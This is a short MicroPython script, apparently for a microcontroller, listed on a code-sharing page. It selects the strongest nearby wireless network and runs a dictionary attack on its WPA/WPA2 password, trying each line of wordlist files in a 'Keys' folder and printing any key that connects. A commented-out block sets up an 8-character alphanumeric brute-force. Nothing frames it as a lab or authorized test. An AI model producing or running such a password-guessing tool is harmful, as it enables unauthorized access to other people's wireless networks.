wpacheck.py 1.6 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970
  1. # Python code to execute key permutation
  2. # WPA/WPA2: 8 bis 63 Zeichen Länge verwendet.
  3. # Zeichen: 0-9,A-Z,a-z
  4. def perm(iterable, r=None):
  5. # permutations('ABCD', 2) --> AB AC AD BA BC BD CA CB CD DA DB DC
  6. # permutations(range(3)) --> 012 021 102 120 201 210
  7. pool = tuple(iterable)
  8. n = len(pool)
  9. r = n if r is None else r
  10. if r > n:
  11. return
  12. indices = list(range(n))
  13. cycles = list(range(n, n-r, -1))
  14. yield tuple(pool[i] for i in indices[:r])
  15. while n:
  16. for i in reversed(range(r)):
  17. cycles[i] -= 1
  18. if cycles[i] == 0:
  19. indices[i:] = indices[i+1:] + indices[i:i+1]
  20. cycles[i] = n - i
  21. else:
  22. j = cycles[i]
  23. indices[i], indices[-j] = indices[-j], indices[i]
  24. yield tuple(pool[i] for i in indices[:r])
  25. break
  26. else:
  27. return
  28. # CPU cluck 160MHz
  29. import machine
  30. machine.freq(160000000)
  31. #wlan activation + scan
  32. import wlan
  33. SSID=wlan.wlbestSSID()
  34. wkey=""
  35. print("using WLAN " + SSID)
  36. # first we start with predefined passwords
  37. import os
  38. keyfiles = os.listdir('Keys')
  39. for f1 in keyfiles:
  40. print("open file: " + f1)
  41. fo = open('Keys/' + f1,'r')
  42. for pwd in fo:
  43. if len(pwd) >= 8 and len(pwd) <= 63:
  44. print("trying " + SSID + " with PW " + pwd)
  45. if wlan.wlconnect(SSID,pwd):
  46. print(pwd)
  47. wkey=pwd
  48. fo.close()
  49. #alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
  50. #seclist = perm(alphabet,8)
  51. #for key in seclist:
  52. # print(key)''
  53. print("finished. WLAN Key=" + wkey)